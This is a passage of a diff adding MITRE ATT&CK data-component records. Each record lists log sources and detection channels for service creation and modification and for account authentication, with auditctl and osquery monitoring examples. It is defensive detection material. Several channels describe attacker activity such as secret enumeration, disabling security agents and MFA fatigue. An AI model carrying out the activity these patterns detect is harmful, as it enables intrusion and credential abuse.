+ "channel": "creation or modification of systemd services" + }, + { + "name": "macos:osquery", + "channel": "Process Events and Launch Daemons" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=7045" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=7045" + }, + { + "name": "linux:osquery", + "channel": "newly registered unit file with ExecStart pointing to unknown binary" + }, + { + "name": "macos:unifiedlog", + "channel": "creation or loading of new launchd services" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4697" + }, + { + "name": "linux:syslog", + "channel": "systemctl start/enable with uncommon binary paths" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=7031, 7034" + }, + { + "name": "macos:osquery", + "channel": "launch_daemons" + }, + { + "name": "macos:unifiedlog", + "channel": "launchd loading new LaunchDaemon or changes to existing daemon configuration" + }, + { + "name": "macos:osquery", + "channel": "detection of new launch agents with suspicious paths or unsigned binaries" + }, + { + "name": "kubernetes:audit", + "channel": "create" + }, + { + "name": "containerLogs:systemd_unit_files", + "channel": "unit file referencing container binary with persistent flags" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0060\", \"external_id\": \"DC0060\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Service\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=7036\"}, {\"name\": \"auditd:CONFIG_CHANGE\", \"channel\": \"creation or modification of systemd services\"}, {\"name\": \"macos:osquery\", \"channel\": \"Process Events and Launch Daemons\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=7045\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=7045\"}, {\"name\": \"linux:osquery\", \"channel\": \"newly registered unit file with ExecStart pointing to unknown binary\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"creation or loading of new launchd services\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4697\"}, {\"name\": \"linux:syslog\", \"channel\": \"systemctl start/enable with uncommon binary paths\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=7031, 7034\"}, {\"name\": \"macos:osquery\", \"channel\": \"launch_daemons\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchd loading new LaunchDaemon or changes to existing daemon configuration\"}, {\"name\": \"macos:osquery\", \"channel\": \"detection of new launch agents with suspicious paths or unsigned binaries\"}, {\"name\": \"kubernetes:audit\", \"channel\": \"create\"}, {\"name\": \"containerLogs:systemd_unit_files\", \"channel\": \"unit file referencing container binary with persistent flags\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:36.315000+00:00\", \"old_value\": \"2025-04-18 15:10:54.408000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:36.382000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0041", + "external_id": "DC0041" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Service Metadata", + "description": "Contextual data about a service/daemon, which may include information such as name, service executable, start type, etc.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Service", + "channel": "None" + }, + { + "name": "WinEventLog:sysmon", + "channel": "EventCode=4" + }, + { + "name": "linux:syslog", + "channel": "service stopped messages" + }, + { + "name": "macos:unifiedlog", + "channel": "launchctl disable or bootout calls" + }, + { + "name": "esxi:hostd", + "channel": "Stop VM or disable service events via vim-cmd" + }, + { + "name": "linux:syslog", + "channel": "auditd service stopped or disabled" + }, + { + "name": "macos:osquery", + "channel": "launchd" + }, + { + "name": "linux:osquery", + "channel": "scheduled/real-time" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.launchservices" + }, + { + "name": "esxi:hostd", + "channel": "registers services with legitimate-sounding names" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=7035" + }, + { + "name": "linux:syslog", + "channel": "Service restart with modified executable path" + }, + { + "name": "macos:unifiedlog", + "channel": "Observed loading of new LaunchAgent or LaunchDaemon plist" + }, + { + "name": "kubernetes:audit", + "channel": "seccomp or AppArmor profile changes" + }, + { + "name": "WinEventLog:System", + "channel": "Service stopped or RecoveryDisabled set via REAgentC" + }, + { + "name": "esxi:hostd", + "channel": "Service events" + }, + { + "name": "WinEventLog:WinRM", + "channel": "EventCode=6" + }, + { + "name": "auditd:CONFIG_CHANGE", + "channel": "delete: Modification of systemd unit files or config for security agents" + }, + { + "name": "macos:unifiedlog", + "channel": "Modification of system configuration profiles affecting security tools" + }, + { + "name": "kubernetes:audit", + "channel": "kubectl delete or patch of security pods/admission controllers" + }, + { + "name": "networkdevice:config", + "channel": "write: Startup configuration changes disabling security checks" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0041\", \"external_id\": \"DC0041\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Service\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:sysmon\", \"channel\": \"EventCode=4\"}, {\"name\": \"linux:syslog\", \"channel\": \"service stopped messages\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchctl disable or bootout calls\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Stop VM or disable service events via vim-cmd\"}, {\"name\": \"linux:syslog\", \"channel\": \"auditd service stopped or disabled\"}, {\"name\": \"macos:osquery\", \"channel\": \"launchd\"}, {\"name\": \"linux:osquery\", \"channel\": \"scheduled/real-time\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem=com.apple.launchservices\"}, {\"name\": \"esxi:hostd\", \"channel\": \"registers services with legitimate-sounding names\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=7035\"}, {\"name\": \"linux:syslog\", \"channel\": \"Service restart with modified executable path\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Observed loading of new LaunchAgent or LaunchDaemon plist\"}, {\"name\": \"kubernetes:audit\", \"channel\": \"seccomp or AppArmor profile changes\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"Service stopped or RecoveryDisabled set via REAgentC\"}, {\"name\": \"esxi:hostd\", \"channel\": \"Service events\"}, {\"name\": \"WinEventLog:WinRM\", \"channel\": \"EventCode=6\"}, {\"name\": \"auditd:CONFIG_CHANGE\", \"channel\": \"delete: Modification of systemd unit files or config for security agents\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modification of system configuration profiles affecting security tools\"}, {\"name\": \"kubernetes:audit\", \"channel\": \"kubectl delete or patch of security pods/admission controllers\"}, {\"name\": \"networkdevice:config\", \"channel\": \"write: Startup configuration changes disabling security checks\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:36.382000+00:00\", \"old_value\": \"2025-04-25 14:39:52.137000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--66531bc6-a509-4868-8314-4d599e91d222", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:14:37.211000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0065", + "external_id": "DC0065" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Service Modification", + "description": "Changes made to an existing service or daemon, such as modifying the service name, start type, execution parameters, or security configurations.\n\n*Data Collection Measures: *\n\n- Windows Event Logs\n - Event ID 7040 - Detects modifications to the startup behavior of a service.\n - Event ID 7045 - Can capture changes made to existing services.\n - Event ID 7036 - Tracks when services start or stop, potentially indicating malicious tampering.\n - Event ID 4697 - Can detect when an adversary reinstalls a service with different parameters.\n- Sysmon Logs\n - Sysmon Event ID 13 - Detects changes to service configurations in the Windows Registry (e.g., `HKLM\\SYSTEM\\CurrentControlSet\\Services\\`).\n - Sysmon Event ID 1 - Can track execution of `sc.exe` or `PowerShell Set-Service`.\n- PowerShell Logging\n - Event ID 4104 (Script Block Logging) - Captures execution of commands like `Set-Service`, `New-Service`, or `sc config`.\n - Command-Line Logging (Event ID 4688) - Tracks usage of service modification commands:\n - `sc config start= auto` \n - `sc qc ` \n- Linux/macOS Collection Methods\n - Systemd Journals (`journalctl -u `) Tracks modifications to systemd service configurations.\n - Daemon Logs (`/var/log/syslog`, `/var/log/messages`, `/var/log/daemon.log`) Captures changes to service state and execution parameters.\n - AuditD Rules for Service Modification \n - Monitor modifications to `/etc/systemd/system/` for new or altered service unit files: `auditctl -w /etc/systemd/system/ -p wa -k service_modification`\n - Track execution of `systemctl` or `service` commands: `auditctl -a always,exit -F arch=b64 -S execve -F a0=systemctl -F key=service_mod`\n - OSQuery for Linux/macOS Monitoring\n - Query modified services using OSQuery\u2019s `processes` or `system_info` tables: `SELECT * FROM systemd_units WHERE state != 'running';`\n - macOS Launch Daemon/Agent Modification\n - Monitor for changes in:\n - `/Library/LaunchDaemons/`\n - `/Library/LaunchAgents/`\n - Track modifications to `.plist` files indicating persistence attempts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Service", + "channel": "None" + }, + { + "name": "WinEventLog:Microsoft-IIS-Configuration", + "channel": "Module or ISAPI filter registration events" + }, + { + "name": "WinEventLog:System", + "channel": "EventCode=7040" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0065\", \"external_id\": \"DC0065\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Service\", \"channel\": \"None\"}, {\"name\": \"WinEventLog:Microsoft-IIS-Configuration\", \"channel\": \"Module or ISAPI filter registration events\"}, {\"name\": \"WinEventLog:System\", \"channel\": \"EventCode=7040\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--d710099e-df94-4be4-bf85-cabd30e912bb\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:37.211000+00:00\", \"old_value\": \"2025-04-18 15:10:57.700000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--8ed4e6d0-56d7-4e6b-8fa6-41f41631f30d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-09-23 16:36:08.632000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0111", + "external_id": "DC0111" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Software", + "description": "This includes sources of current and expected software or application programs deployed to a device, along with information on the version and patch level for vendor products, full source code for any application programs, and unique identifiers (e.g., hashes, signatures).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Asset", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0111\", \"external_id\": \"DC0111\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Asset\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--b1717cb4-d536-4e2b-b5e5-07e67e26183c\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:11:53.563000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.271000+00:00", + "modified": "2025-10-21 15:14:34.948000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0002", + "external_id": "DC0002" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "User Account Authentication", + "description": "An attempt (successful and failed login attempts) by a user, service, or application to gain access to a network, system, or cloud-based resource. This typically involves credentials such as passwords, tokens, multi-factor authentication (MFA), or biometric validation.\n\n*Data Collection Measures:*\n\n- Host-Based Authentication Logs\n - Windows Event Logs\n - Event ID 4776 \u2013 NTLM authentication attempt.\n - Event ID 4624 \u2013 Successful user logon.\n - Event ID 4625 \u2013 Failed authentication attempt.\n - Event ID 4648 \u2013 Explicit logon with alternate credentials.\n - Linux/macOS Authentication Logs\n - `/var/log/auth.log`, `/var/log/secure` \u2013 Logs SSH, sudo, and other authentication attempts.\n - AuditD \u2013 Tracks authentication events via PAM modules.\n - macOS Unified Logs \u2013 `/var/db/diagnostics` captures authentication failures.\n- Cloud Authentication Logs\n - Azure AD Logs\n - Sign-in Logs \u2013 Tracks authentication attempts, MFA challenges, and conditional access failures.\n - Audit Logs \u2013 Captures authentication-related configuration changes.\n - Microsoft Graph API \u2013 Provides real-time sign-in analytics.\n - Google Workspace & Office 365\n - Google Admin Console \u2013 `User Login Report` tracks login attempts and failures.\n - Office 365 Unified Audit Logs \u2013 Captures logins across Exchange, SharePoint, and Teams.\n - AWS CloudTrail & IAM\n - Tracks authentication via `AWS IAM AuthenticateUser` and `sts:GetSessionToken`.\n - Logs failed authentications to AWS Management Console and API requests.\n- Container Authentication Monitoring\n - Kubernetes Authentication Logs\n - kubectl audit logs \u2013 Captures authentication attempts for service accounts and admin users.\n - Azure Kubernetes Service (AKS) and Google Kubernetes Engine (GKE) \u2013 Logs IAM authentication events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "User Account", + "channel": "None" + }, + { + "name": "NSM:Flow", + "channel": "TGS-REQ and AS-REQ seen for new user shortly after domain-modifying process" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4625" + }, + { + "name": "saas:okta", + "channel": "session.impersonation.start" + }, + { + "name": "Okta:SystemLog", + "channel": "eventType: user.authentication.sso, app.oauth2.token.grant" + }, + { + "name": "azure:signinlogs", + "channel": "Success logs from high-risk accounts" + }, + { + "name": "networkdevice:syslog", + "channel": "config access, authentication logs" + }, + { + "name": "ESXiLogs:authlog", + "channel": "Unexpected login followed by encoding commands" + }, + { + "name": "saas:okta", + "channel": "Unusual OAuth app requesting message-read scopes for Slack/Teams/Jira" + }, + { + "name": "NSM:Connections", + "channel": "Accepted password or publickey for user from remote IP" + }, + { + "name": "macos:unifiedlog", + "channel": "successful sudo or authentication for account not normally associated with admin actions" + }, + { + "name": "esxi:vpxa", + "channel": "user login from unexpected IP or non-admin user role" + }, + { + "name": "m365:signin", + "channel": "Sign-in from anomalous location or impossible travel condition" + }, + { + "name": "networkdevice:syslog", + "channel": "User privilege escalation to level 15/root prior to destructive commands" + }, + { + "name": "networkdevice:syslog", + "channel": "authorization/accounting logs" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4769,1200,1202" + }, + { + "name": "linux:syslog", + "channel": "sudo/date/timedatectl execution by non-standard users" + }, + { + "name": "saas:audit", + "channel": "Repeated requests to SMS-generating endpoints using anomalous or new user agents, IP ranges, or geographies." + }, + { + "name": "azure:signinlogs", + "channel": "Multiple MFA challenge requests without successful primary login" + }, + { + "name": "AWS:CloudTrail", + "channel": "AssumeRole or ConsoleLogin with repeated MFA failures followed by repeated MFA requests" + }, + { + "name": "auditd:AUTH", + "channel": "pam_unix or pam_google_authenticator invoked repeatedly within short interval" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4768, 4769, 4770" + }, + { + "name": "NSM:Connections", + "channel": "Repeated failed authentication attempts or replay patterns" + }, + { + "name": "azure:signinlogs", + "channel": "TokenIssued, TokenRenewed: Unexpected or anomalous token issuance events" + }, + { + "name": "azure:signinlogs", + "channel": "SignIn: Sign-ins flagged as atypical (new geographic region, unfamiliar device id) shortly after correlated endpoint/browser compromise times" + }, + { + "name": "AWS:CloudTrail", + "channel": "sts:GetFederationToken" + }, + { + "name": "m365:unified", + "channel": "Delegated permission grants without user login event" + }, + { + "name": "saas:salesforce", + "channel": "API login using access_token without login history" + }, + { + "name": "AWS:CloudTrail", + "channel": "AssumeRoleWithWebIdentity" + }, + { + "name": "azure:signinlogs", + "channel": "Operation=UserLogin" + }, + { + "name": "esxi:auth", + "channel": "interactive shell or SSH access preceding storage enumeration" + }, + { + "name": "NSM:Connections", + "channel": "Successful login without expected MFA challenge" + }, + { + "name": "macos:unifiedlog", + "channel": "Login success without MFA step" + }, + { + "name": "kubernetes:apiserver", + "channel": "get/list requests to /api/v1/secrets or /api/v1/namespaces/*/serviceaccounts" + }, + { + "name": "auditd:SYSCALL", + "channel": "pam_authenticate, sshd" + }, + { + "name": "macos:unifiedlog", + "channel": "log show --predicate 'eventMessage contains \"Authentication\"'" + }, + { + "name": "esxi:vpxd", + "channel": "/var/log/vmware/vpxd.log" + }, + { + "name": "azure:signinlogs", + "channel": "Unusual Token Usage or Application Consent" + }, + { + "name": "networkdevice:syslog", + "channel": "Failed and successful logins to network devices outside approved admin IP ranges" + }, + { + "name": "azure:signinlogs", + "channel": "OperationName=SetDomainAuthentication OR Set-FederatedDomain" + }, + { + "name": "network:auth", + "channel": "repeated successful authentications with previously unknown accounts or anomalous password acceptance" + }, + { + "name": "azure:signinlogs", + "channel": "Sign-in with unfamiliar location/device + portal navigation" + }, + { + "name": "m365:signinlogs", + "channel": "UserLoginSuccess" + }, + { + "name": "saas:salesforce", + "channel": "Login" + }, + { + "name": "networkdevice:syslog", + "channel": "Privileged login followed by destructive format command" + }, + { + "name": "networkdevice:syslog", + "channel": "admin login events" + }, + { + "name": "networkdevice:syslog", + "channel": "Privileged login followed by destructive command sequence" + }, + { + "name": "azure:signinlogs", + "channel": "Login from newly created account" + }, + { + "name": "auditd:SYSCALL", + "channel": "execution of ssh, scp, or sftp using previously unseen credentials or keys" + }, + { + "name": "m365:unified", + "channel": "login using refresh_token with no preceding authentication context" + }, + { + "name": "saas:googleworkspace", + "channel": "API access without user login" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4769" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4625" + }, + { + "name": "azure:signinlogs", + "channel": "Interactive/Non-Interactive Sign-In" + }, + { + "name": "AWS:CloudTrail", + "channel": "AWS IAM: ListUsers, ListRoles" + }, + { + "name": "gcp:workspaceaudit", + "channel": "Token Generation via Domain Delegation" + }, + { + "name": "m365:signinlogs", + "channel": "Unusual sign-in from service principal to user mailbox" + }, + { + "name": "macos:unifiedlog", + "channel": "User credential prompt events without associated trusted installer package" + }, + { + "name": "linux:auth", + "channel": "sshd login" + }, + { + "name": "saas:googleworkspace", + "channel": "Accessed third-party credential management service" + }, + { + "name": "azure:signinlogs", + "channel": "Reset password or download key from portal" + }, + { + "name": "linux:syslog", + "channel": "SSH failed login" + }, + { + "name": "macos:unifiedlog", + "channel": "Login failure / authorization denied" + }, + { + "name": "azure:signinlogs", + "channel": "status = failure" + }, + { + "name": "Okta:authn", + "channel": "authentication_failure" + }, + { + "name": "saas-app:auth", + "channel": "login_failure" + }, + { + "name": "networkdevice:syslog", + "channel": "AAA, RADIUS, or TACACS authentication" + }, + { + "name": "kubernetes:apiserver", + "channel": "authentication.k8s.io/v1beta1" + }, + { + "name": "m365:exchange", + "channel": "Logon failure" + }, + { + "name": "AWS:CloudTrail", + "channel": "eventName=ConsoleLogin | eventType=AwsConsoleSignIn" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4625, 4624" + }, + { + "name": "auditd:USER_LOGIN", + "channel": "USER_AUTH" + }, + { + "name": "azure:signinlogs", + "channel": "Sign-in logs" + }, + { + "name": "macos:unifiedlog", + "channel": "auth" + }, + { + "name": "m365:unified", + "channel": "Sign-in logs" + }, + { + "name": "AWS:CloudTrail", + "channel": "ConsoleLogin or AssumeRole" + }, + { + "name": "esxi:auth", + "channel": "/var/log/auth.log" + }, + { + "name": "networkdevice:syslog", + "channel": "authentication logs" + }, + { + "name": "azure:signinlogs", + "channel": "SigninSuccess" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4625, 4771, 4648" + }, + { + "name": "linux:syslog", + "channel": "Failed password for invalid user" + }, + { + "name": "macos:unifiedlog", + "channel": "Login Window and Authd errors" + }, + { + "name": "azure:signinlogs", + "channel": "Failure Reason + UserPrincipalName" + }, + { + "name": "saas:okta", + "channel": "authentication_failure" + }, + { + "name": "networkdevice:syslog", + "channel": "AAA or TACACS authentication failures" + }, + { + "name": "kubernetes:audit", + "channel": "Failed login" + }, + { + "name": "m365:exchange", + "channel": "FailedLogin" + }, + { + "name": "saas:auth", + "channel": "signin_failed" + }, + { + "name": "saas:googleworkspace", + "channel": "login with reused session token and mismatched user agent or IP" + }, + { + "name": "saas:googleworkspace", + "channel": "Access via OAuth credentials with unusual scopes or from anomalous IPs" + }, + { + "name": "networkdevice:syslog", + "channel": "authentication & authorization" + }, + { + "name": "WinEventLog:Security", + "channel": "4624, 4625" + }, + { + "name": "azure:signinlogs", + "channel": "Sign-in activity" + }, + { + "name": "AWS:CloudTrail", + "channel": "ConsoleLogin, AssumeRole, ListAccessKeys, CreateUser" + }, + { + "name": "gcp:audit", + "channel": "drive.activity" + }, + { + "name": "gcp:audit", + "channel": "login.event" + }, + { + "name": "linux:syslog", + "channel": "sshd[pid]: Failed password" + }, + { + "name": "macos:unifiedlog", + "channel": "authd" + }, + { + "name": "networkdevice:syslog", + "channel": "login failed" + }, + { + "name": "GCPAuditLogs:login.googleapis.com", + "channel": "Failed sign-in events" + }, + { + "name": "esxi:auth", + "channel": "SSH session/login" + }, + { + "name": "WinEventLog:Security", + "channel": "EventID=4625" + }, + { + "name": "NSM:Connections", + "channel": "sshd or PAM logins" + }, + { + "name": "saas:okta", + "channel": "Sign-in logs / audit events" + }, + { + "name": "gcp:audit", + "channel": "Sign-in logs / audit events" + }, + { + "name": "azure:signinlogs", + "channel": "Sign-in logs / audit events" + }, + { + "name": "kubernetes:audit", + "channel": "authentication.k8s.io" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4648" + }, + { + "name": "linux:syslog", + "channel": "authentication and authorization events during environmental validation phase" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0002\", \"external_id\": \"DC0002\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"User Account\", \"channel\": \"None\"}, {\"name\": \"NSM:Flow\", \"channel\": \"TGS-REQ and AS-REQ seen for new user shortly after domain-modifying process\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4625\"}, {\"name\": \"saas:okta\", \"channel\": \"session.impersonation.start\"}, {\"name\": \"Okta:SystemLog\", \"channel\": \"eventType: user.authentication.sso, app.oauth2.token.grant\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Success logs from high-risk accounts\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"config access, authentication logs\"}, {\"name\": \"ESXiLogs:authlog\", \"channel\": \"Unexpected login followed by encoding commands\"}, {\"name\": \"saas:okta\", \"channel\": \"Unusual OAuth app requesting message-read scopes for Slack/Teams/Jira\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Accepted password or publickey for user from remote IP\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"successful sudo or authentication for account not normally associated with admin actions\"}, {\"name\": \"esxi:vpxa\", \"channel\": \"user login from unexpected IP or non-admin user role\"}, {\"name\": \"m365:signin\", \"channel\": \"Sign-in from anomalous location or impossible travel condition\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"User privilege escalation to level 15/root prior to destructive commands\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"authorization/accounting logs\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4769,1200,1202\"}, {\"name\": \"linux:syslog\", \"channel\": \"sudo/date/timedatectl execution by non-standard users\"}, {\"name\": \"saas:audit\", \"channel\": \"Repeated requests to SMS-generating endpoints using anomalous or new user agents, IP ranges, or geographies.\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Multiple MFA challenge requests without successful primary login\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"AssumeRole or ConsoleLogin with repeated MFA failures followed by repeated MFA requests\"}, {\"name\": \"auditd:AUTH\", \"channel\": \"pam_unix or pam_google_authenticator invoked repeatedly within short interval\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4768, 4769, 4770\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Repeated failed authentication attempts or replay patterns\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"TokenIssued, TokenRenewed: Unexpected or anomalous token issuance events\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"SignIn: Sign-ins flagged as atypical (new geographic region, unfamiliar device id) shortly after correlated endpoint/browser compromise times\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"sts:GetFederationToken\"}, {\"name\": \"m365:unified\", \"channel\": \"Delegated permission grants without user login event\"}, {\"name\": \"saas:salesforce\", \"channel\": \"API login using access_token without login history\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"AssumeRoleWithWebIdentity\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Operation=UserLogin\"}, {\"name\": \"esxi:auth\", \"channel\": \"interactive shell or SSH access preceding storage enumeration\"}, {\"name\": \"NSM:Connections\", \"channel\": \"Successful login without expected MFA challenge\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Login success without MFA step\"}, {\"name\": \"kubernetes:apiserver\", \"channel\": \"get/list requests to /api/v1/secrets or /api/v1/namespaces/*/serviceaccounts\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"pam_authenticate, sshd\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log show --predicate 'eventMessage contains \\\"Authentication\\\"'\"}, {\"name\": \"esxi:vpxd\", \"channel\": \"/var/log/vmware/vpxd.log\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Unusual Token Usage or Application Consent\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Failed and successful logins to network devices outside approved admin IP ranges\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"OperationName=SetDomainAuthentication OR Set-FederatedDomain\"}, {\"name\": \"network:auth\", \"channel\": \"repeated successful authentications with previously unknown accounts or anomalous password acceptance\"}, {\"name\": \"azure:signinlogs\", \"channel\": \"Sign-in with unfamiliar location/device + portal navigation\"}, {\"name\": \"m365:signinlogs\", \"channel\": \"UserLoginSuccess\"}, {\"name\": \"saas:salesforce\", 